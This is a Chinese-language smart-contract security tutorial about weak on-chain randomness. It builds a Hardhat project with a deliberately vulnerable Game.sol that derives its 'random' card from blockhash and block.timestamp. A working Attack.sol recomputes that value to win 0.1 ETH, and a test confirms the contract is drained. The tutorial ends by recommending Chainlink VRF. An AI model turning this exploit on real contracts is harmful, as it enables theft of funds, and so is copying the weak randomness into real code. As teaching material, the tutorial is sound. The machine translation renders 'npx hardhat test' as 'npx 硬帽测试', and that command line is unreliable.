随机性的来源
随机性是一个很难的问题。计算机运行的代码是由程序员编写的,并遵循一个特定的步骤序列。因此,要设计一个能给你一个 "随机 "数字的算法是非常困难的,因为这个随机数字必须来自一个遵循一定步骤序列的算法。现在,当然,有些函数比其他函 数更好。
在这种情况下,我们将具体看看为什么你不能相信链上数据作为随机性的来源(也是我们在 Junior 中使用的 Chainlink VRF 的原因)。
要求
- 我们将建立一个游戏,其中有一包牌。
 - 每张牌都有一个与之相关的数字,范围从 0 到 2²⁵⁶-1。
 - 玩家将猜测一个将被选中的数字。
 - 然后庄家会随机从牌包中抽出一张牌。
 - 如果有人猜对了数字,他们将赢得 0.1 ETH。
 - 我们今天将破解这个游戏 :)
 
构建
为了构建智能合约,我们将使用 Hardhat。Hardhat 是一个 Ethereum 开发环境和框架,为 Solidity 的全栈开发而设计。简单地说,你可以编写你的智能合约,部署它们,运行测试,并调试你的代码。
创建项目
npm init --yes
npm install --save-dev hardhat
npx hardhat
选择创建一个基本样本项目 对已经指定的 Hardhat 项目根按回车键 在是否要添加.gitignore 的问题上按回车键 在 "是否要用 npm 安装这个样本项目的依赖项(@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)? 现在你已经有了一个 Hardhat 项目,可以开始使用了!
开始
让我们先了解一下 abi.encodedPacked 是做什么的。
我们之前在大二的 NFT 教程中使用过 abi.encode。它是一种将多种数据类型串联成一个字节数组的方法,然后可以将其转换为一个字符串。这经常被用来计算 NFT 集合的 tokenURI。 encodePacked 更进一步,将多个值串联成一个字节数组,但也摆脱了任何填充和额外的值。这意味着什么呢?让我们以 uint256 为例。uint256 的数字有 256 位。但是,如果存储 的值只是 1,使用 abi.encode 将创建一个有 255 个 0 和只有 1 个 1 的字符串。使用 abi.encodePacked 将摆脱所有额外的 0,而只是将 1 的值连接起来。
关于 abi.encodePacked 的更多信息,请继续阅读这篇文章。
在你的合约文件夹中创建一个名为 Game.sol 的文件,并添加以下几行代码。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract Game {
    constructor() payable {}
    /**
      Randomly picks a number out of `0 to 2²⁵⁶–1`.
     */
    function pickACard() private view returns(uint) {
          // `abi.encodePacked` takes in the two params - `blockhash` and `block.timestamp`
          // and returns a byte array which further gets passed into keccak256 which returns `bytes32`
          // which is further converted to a `uint`.
          // keccak256 is a hashing function which takes in a bytes array and converts it into a bytes32
          uint pickedCard = uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
          return pickedCard;
    }
    /**
        It begins the game by first choosing a random number by calling `pickACard`
        It then verifies if the random number selected is equal to `_guess` passed by the player
        If the player guessed the correct number, it sends the player `0.1 ether`
    */
    function guess(uint _guess) public {
        uint _pickedCard = pickACard();
        if(_guess == _pickedCard){
            (bool sent,) = msg.sender.call{value: 0.1 ether}("");
            require(sent, "Failed to send ether");
        }
    }
    /**
         Returns the balance of ether in the contract
    */
    function getBalance() view public returns(uint) {
        return address(this).balance;
    }
  }
现在在你的合约文件夹中创建一个名为 Attack.sol 的文件,并添加以下几行代码。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./Game.sol";
contract Attack {
      Game game;
      /**
          Creates an instance of Game contract with the help of `gameAddress`
      */
      constructor(address gameAddress) {
          game = Game(gameAddress);
      }
      /**
          attacks the `Game` contract by guessing the exact number because `blockhash` and `block.timestamp`
          is accessible publically
      */
    function attack() public {
          // `abi.encodePacked` takes in the two params - `blockhash` and `block.timestamp`
          // and returns a byte array which further gets passed into keccak256 which returns `bytes32`
          // which is further converted to a `uint`.
          // keccak256 is a hashing function which takes in a bytes array and converts it into a bytes32
          uint _guess = uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
          game.guess(_guess);
    }
    // Gets called when the contract recieves ether
    receive() external payable{}
  }
攻击是如何发生的,具体如下。
- 黑客调用 
Attack.sol中的攻击函数。 - 攻击者使用与 
Game.sol相同的方法进一步猜测数字,即uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)) - 攻击者能够猜到相同的数字,因为 blockhash 和 block.timestamp 是公共信息,每个人都可以访问它。
 - 攻击者随后调用 
Game.sol中的猜测函数 guess 首先调用 pickACard 函数,该函数使用uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp))生成相同的数字,因为 pickACard 和攻击都是在同一个区块内调用的。 - 猜测比较这些数字,结果发现它们是一样的。
 - 猜测然后发送 
Attack.sol0.1 ether,游戏结束。 - 攻击者成功地猜出了随机数
 
现在让我们写一些测试来验证它是否完全按照我们希望的那样工作。
在测试文件夹中创建一个名为 attack.js 的新文件,并添加以下几行代码
const { ethers, waffle } = require("hardhat");
const { expect } = require("chai");
const { BigNumber, utils } = require("ethers");
describe("Attack", function () {
  it("Should be able to guess the exact number", async function () {
    // Deploy the Game contract
    const Game = await ethers.getContractFactory("Game");
    const _game = await Game.deploy({ value: utils.parseEther("0.1") });
    await _game.deployed();
    console.log("Game contract address", _game.address);
    // Deploy the attack contract
    const Attack = await ethers.getContractFactory("Attack");
    const _attack = await Attack.deploy(_game.address);
    console.log("Attack contract address", _attack.address);
    // Attack the Game contract
    const tx = await _attack.attack();
    await tx.wait();
    const balanceGame = await _game.getBalance();
    // Balance of the Game contract should be 0
    expect(balanceGame).to.equal(BigNumber.from("0"));
  });
});
现在打开一个终端,指向 Source-of-Randomness 文件夹,执行以下内容
npx 硬帽测试 如果你所有的测试都通过了,你就成功地完成了黑客的任务 :)
预防措施
不要使用 blockhash、block.timestamp 或任何形式的链上数据作为随机性的来源。 你可以使用 Chainlink VRF 来获得真正的随机性来源。